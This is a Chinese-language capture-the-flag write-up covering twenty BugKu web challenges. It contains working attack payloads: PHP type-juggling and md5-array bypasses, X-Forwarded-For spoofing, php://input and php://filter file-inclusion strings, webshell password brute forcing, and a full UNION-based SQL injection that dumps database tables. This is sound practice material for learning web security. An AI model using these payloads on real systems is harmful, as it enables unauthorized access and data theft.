CTF-BugKu-WEB-1-20
2020.09.17
全面复习web,给自己定个目标,后天之前结束BugKu-Web,开始逆向。
经验教训
- php弱等于用于绕过
==
,弱等于之前会把等号两边转化为同一类型变量; - 全局变量全局变量全局变量!!$GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION
- 浏览器的检查元素的网络中内容不一定可信,因为浏览器在接受数据的时候会过滤不符合规则的内容,但是flag可能就藏着里边
- 伪装成本地登陆添加请求头
X-Forwarded-For: 127.0.0.1
; - 火狐浏览器有时候会出bug,在一个比较确定的答案没有结果的时候,可以换个浏览器试试。。。。
- 文件包含漏洞的利用,
php://input
配合<?php echo system('ls');?>
和php://filter/read=convert.base64-encode/resource=index.php
; - 数组求md5会返回false;
- 如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0。
- 数据库中大数据库是information_schema,其中有TABLES、COLUMNS表,存储所有的表和列信息。
第一题 web2
//ctf.bugku.com/challenges#web2
- 一堆这个,在页码源文件找到flag
第二题 计算器
//ctf.bugku.com/challenges#计算器
- 打开如下
- 输入框只能输入一位数,检查源码,发现生成验证码多js文件
- 直接访问,在文件中发现flag
flag{CTF-bugku-0032}
第三题 web基础$_GET
//ctf.bugku.com/challenges#web基础$_GET
- 比较简单的get,构造payload
?what=flag
,输出flagflag{bugku_get_su8kej2en}
第四题 web基础$_POST
//ctf.bugku.com/challenges#web基础$_POST
- 简单的post,Firefox打开,hackbar插件,添加post
what=flag
,请求得到flagflag{bugku_get_ssseint67se}
第五题 矛盾
- 不能是数字,还得弱等于1,这就用到字符’1qwk’弱等于数字1这个知识点了,在弱等于的时候,等号两边会转化为同一类型的变量,这里1qwk转化为数字后为数字1,payload
num=1qwk
,得到flagflag{bugku-789-ps-ssdf}
第六题 web3
//ctf.bugku.com/challenges#web3
- 打开是很多弹窗,看源码,在底部发现信息,html转码,得
KEY{J2sa42ahJK-HS11III}
第七题 域名解析
//ctf.bugku.com/challenges#域名解析
- 访问
//123.206.87.240/
后,用hackbar修改host为flag.baidu.com
即可得KEY{DSAHDSJ82HDS2211}
第八题 你必须让他停下
//ctf.bugku.com/challenges#你必须让他停下
- 看源码知道是一个script脚本一直在运行,用浏览器停用脚本之后,得到如下界面,没啥用,
- 看页面文字,stop at panda,我刷新界面源码,发现请求文件一直在变,是不是请求的是panda就可以了呢,burp拦截试试,一直重发就会发现,有概率出现flag
flag{dummy_game_1s_s0_popular}
第九题 本地包含
//ctf.bugku.com/challenges#本地包含
- 访问500,估计是坏掉了
第十题 变量1
//ctf.bugku.com/challenges#变量1
- 得到代码
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
- 主要意思就是满足正则表达式,来用var_dump()来输出变量值,这里想到全局变量,构造payload
?args=GLOBALS
得到flagflag{92853051ab894a64f7865cf3c2128b34}
第十一题 web5
//ctf.bugku.com/challenges#web5
- 打开查看源码,发现brainfuck密码,不对,经过查阅是JSFUCK密码,这是一种神奇的fuck密码🤢,解密方法就是在谷歌浏览器的控制台输进去,结果是
ctf{whatfk}
- 输入框内,被嘲讽了,原来这就是答案,直接输就行了……我想多了
第十二题 头等舱
//ctf.bugku.com/challenges#头等舱
- 真的就啥也没有,那只能扫一扫了
- 通过burp抓包,发现响应包头部有flag
flag{Bugku_k8_23s_istra}
第十三题 网站被黑
//ctf.bugku.com/challenges#网站被黑
- 打开,一个没用的网页,源代码什么也没有,那也只能扫描目录了
dirb //123.206.87.240:8002/webshell/
- 扫描发现
shell.php
,需要输入密码,弱密码不好用,考虑爆破。得到密码为hack
,输入得到flagflag{hack_bug_ku035}
第十四题 管理员系统
//ctf.bugku.com/challenges#管理员系统
- 打开网站是一个简陋的管理员系统,尝试弱密码登陆,失败,查看源码,发现最底部有东西
dGVzdDEyMw==
,base64解码得test123
,可能是密码,
{{uploading-image-166887.png(uploading…)}}
- 登陆未果,考虑是本地登陆的原因,使用burp添加请求头
X-Forwarded-For: 127.0.0.1
,得到flag85ff2ee4171396724bae20c0bd851f6b
第十五题 web4
//ctf.bugku.com/challenges#web4
- 打开让看源代码,看看就看看,是一个script,主要意思就是把两个字符串转码,然后执行,我转码后如下:
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;
- 代码的意思很明确,就是password的值相等就返回正确,与他比较多一串是md5值,经解密得到
1466644826
,尝试输入
- 不好使,然后我就无语了,搜了搜发现不用解码,直接输入就行,mdfuck
KEY{J22JK-HS11}
第十六题 flag在index里
//ctf.bugku.com/challenges#flag在index里
- 点击链接
//123.206.87.240:8005/post/index.php?file=show.php
,这个跳转的链接有点眼熟,好像是文件包含漏洞,于是我尝试php://input
,但是好像被过滤了
- 于是又尝试另一个
php://filter/read=convert.base64-encode/resource=index.php
,成功输出结果,转码后得到flagflag{edulcni_elif_lacol_si_siht}
第十七题 输入密码查看flag
//ctf.bugku.com/challenges#输入密码查看flag
- 输入密码,我们要善于找到题眼,说了是五位数密码,他的意思就是五位数字,那么我认为可以爆破一波,let‘s go
- 突然怀疑是不是不靠谱,有点慢啊这样,一共九万个啊,是不是应该用py脚本开多线程试试啊……
- nice,果然,题眼对了就没问题,说话间出结果了,哈哈哈
flag{bugku-baopo-hah}
第十八题 点击一百万次
//ctf.bugku.com/challenges#点击一百万次
- 应该是没了这个题……
第十九题 备份是个好习惯
//ctf.bugku.com/challenges#备份是个好习惯
- 打开时一堆啥玩意,貌似md5,64位,难不成是两个md5……
解密结果是[空密码]
,这是啥玩意,哦哦wc,这是重复了两遍的同一个
d41d8cd98f00b204e9800998ecf8427e
d41d8cd98f00b204e9800998ecf8427e
但是解密结果还是一样……
- 考虑到题目是备份,那么这个考点就是php备份格式
bak swp
等,构造payloadindex.php.bak
,成功下载到文件
- 拖到winhex中得到index代码
整理如下,接下来就是代码解析:
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php"; //引入文件
ini_set("display_errors", 0); //不报错
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 截取问好之后的内容
$str = substr($str,1); // 把问号去掉
$str = str_replace('key','',$str); // 过滤掉字符key,可以用复写kekeyy绕过
parse_str($str); // 把str解析到变量中,这种情况直接替代同名变量
echo md5($key1);
echo md5($key2); // 这就是我们一开始看见的两个md5值的原因
if(md5($key1) == md5($key2) && $key1 !== $key2){ // 得到flag的条件,key1不等于key2,但是他们的md5值相等,这理论上是不可能的,但是我们可以用数组求md5返回false来绕过
echo $flag."鍙栧緱flag";
}
?>
- 经过分析,构造payload
//123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
得到flagBugku{OH_YOU_FIND_MY_MOMY}
第二十题 成绩单
//ctf.bugku.com/challenges#成绩单
- 是个sql注入题,哈哈哈,这个我记得,印象深刻。先随便查一个。
- 整个注入过程如下:
id=1
,输出正常id=1' ^(1)%23
,没输出id=1' ^(0)%23
,输出正常,说明存在注入1' ORDER BY 4%23
,输出正常1' ORDER BY 5%23
,输出错误,说明查询结果有4列0' UNION SELECT 1,2,3,4%23
,输出正常,能看到每一个输出对应的地方,可谓一个萝卜一个坑🥕
- 到这一步就说明比较顺利了,剩下的就是比较模版的东西了。id换成0,目的是让前面查询为空,这样后边的查询结果就能显示出来。
id=0' UNION SELECT database(),2,3,4%23
,查询数据库名为skctf_flag
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='skctf_flag'),3,4%23
,查询数据库下表名为fl4g,sc
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='fl4g'),3,4%23
,查询表fl4g下列名skctf_flag
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(skctf_flag) FROM skctf_flag.fl4g),3,4%23
,查询列skctf_flag
中数据得到flagBUGKU{Sql_INJECT0N_4813drd8hz4}
- 这真是一道相当好的注入练习题,我受益匪浅。